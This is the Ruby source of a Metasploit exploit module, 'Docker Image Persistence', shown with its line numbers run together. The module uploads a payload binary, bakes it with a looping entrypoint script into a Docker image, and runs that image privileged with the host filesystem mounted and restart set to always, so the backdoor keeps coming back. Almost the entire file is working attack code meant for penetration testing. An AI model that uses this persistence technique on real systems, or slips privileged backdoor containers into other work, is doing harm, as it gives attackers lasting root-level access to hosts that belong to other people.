Path: blob/master/modules/exploits/linux/persistence/docker_image.rb
23592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::Unix10include Msf::Exploit::EXE # for generate_payload_exe11include Msf::Exploit::FileDropper12include Msf::Exploit::Local::Persistence13prepend Msf::Exploit::Remote::AutoCheck1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Docker Image Persistence',20'Description' => %q{21This module maintains persistence on a host by creating a docker image which runs our22payload, and has access to the host's file system (/host in the container). Whenever the23container restarts, the payload will run, or when the payload dies the executable24will run again after a delay. This will allow for writing back25into the host through cron entries, ssh keys, or other method.2627Verified on Ubuntu 22.04.28},29'License' => MSF_LICENSE,30'Author' => [31'h00die',32],33'Platform' => [ 'linux' ],34'Arch' => [35# ARCH_CMD, can't always guarantee that curl and other things are on system, so binary is best36ARCH_X86,37ARCH_X64,38ARCH_ARMLE,39ARCH_AARCH64,40ARCH_PPC,41ARCH_MIPSLE,42ARCH_MIPSBE43],44'SessionTypes' => [ 'meterpreter' ],45'Targets' => [[ 'Auto', {} ]],46'References' => [47['ATT&CK', Mitre::Attack::Technique::T1610_DEPLOY_CONTAINER],48],49'DisclosureDate' => '2013-03-20', # docker's release date50'DefaultTarget' => 0,51'Notes' => {52'Stability' => [CRASH_SAFE],53'Reliability' => [REPEATABLE_SESSION],54'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS]55}56)57)5859register_options(60[61OptInt.new('SLEEP', [false, 'How many seconds to sleep before re-executing payload', 600]),62]63)64end6566def check67# we don't need this check since the payload is in the docker image68# print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')69return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)70return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)71return CheckCode::Safe('docker is required') unless command_exists?('docker')7273vprint_status('Checking Docker availability and permissions...')7475output = cmd_exec('docker ps 2>&1')7677if output.include?('permission denied')78return CheckCode::Safe('Docker is installed but this user does not have permission to access it')79elsif output.include?('Cannot connect to the Docker daemon') || output.include?('Is the docker daemon running?')80return CheckCode::Detected('Docker appears to be installed but the daemon is not running')81end8283CheckCode::Detected('docker app is installed and accessible')84end8586def install_persistence87# Step 1: Prepare payload88file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)89backdoor = "#{writable_dir}/#{file_name}"90vprint_status("Writing backdoor to #{backdoor}")91upload_and_chmodx(backdoor, generate_payload_exe)9293# Step 2: Prepare entrypoint script (loops indefinitely)94sleep_time = datastore['SLEEP']95entry_script = <<~SCRIPT96#!/bin/sh97while true; do98if [ -x /usr/local/bin/#{file_name} ]; then99# Check if it's already running100if ! pgrep -f "/usr/local/bin/#{file_name}" >/dev/null 2>&1; then101/usr/local/bin/#{file_name} &102fi103fi104sleep #{sleep_time}105done106SCRIPT107108entry_file = "#{writable_dir}/entrypoint.sh"109unless write_file(entry_file, entry_script)110fail_with(Failure::UnexpectedReply, "Unable to write #{entry_file}")111end112chmod(entry_file, 0o755)113114# Step 3: Pull Alpine image115cmd_exec('docker pull alpine')116117# Step 4: Create a temporary container (stopped) to copy files in118tmp_container = cmd_exec('docker run -dit alpine sh').strip119vprint_status("Temporary container created: #{tmp_container}")120121# Copy payload and entrypoint into container122cmd_exec("docker cp #{backdoor} #{tmp_container}:/usr/local/bin/#{file_name}")123cmd_exec("docker cp #{entry_file} #{tmp_container}:/")124125cmd_exec("docker exec #{tmp_container} chmod +x /usr/local/bin/#{file_name}")126cmd_exec("docker exec #{tmp_container} chmod +x /entrypoint.sh")127128# Commit a new persistent image129persistent_image = "alpine_#{Rex::Text.rand_text_alpha_lower(5..8)}"130cmd_exec("docker commit #{tmp_container} #{persistent_image}")131print_good("Persistent image created: #{persistent_image}")132133# Remove temporary container134cmd_exec("docker rm #{tmp_container}")135136# Step 5: Start container with internal entrypoint137container_id = cmd_exec("docker run -dit --privileged -v /:/host --restart=always #{persistent_image} /entrypoint.sh").strip138print_good("Container started with internal entrypoint: #{container_id}")139140# Step 6: Add cleanup commands for RC141@clean_up_rc << "execute -f /bin/sh -a \"-c 'docker stop #{container_id}'\" -i -H"142@clean_up_rc << "execute -f /bin/sh -a \"-c 'docker rm #{container_id}'\" -i -H"143@clean_up_rc << "execute -f /bin/sh -a \"-c 'docker rmi #{persistent_image}'\" -i -H"144145# Step 7: Clean up host temp files146rm_f(backdoor)147rm_f(entry_file)148149# Step 8: Stop tmp image150print_status('Stopping and removing temp container')151cmd_exec("docker stop #{tmp_container}")152cmd_exec("docker rm #{tmp_container}")153154print_status("Payload installed and running with #{sleep_time}-second loop in container")155end156157end158159160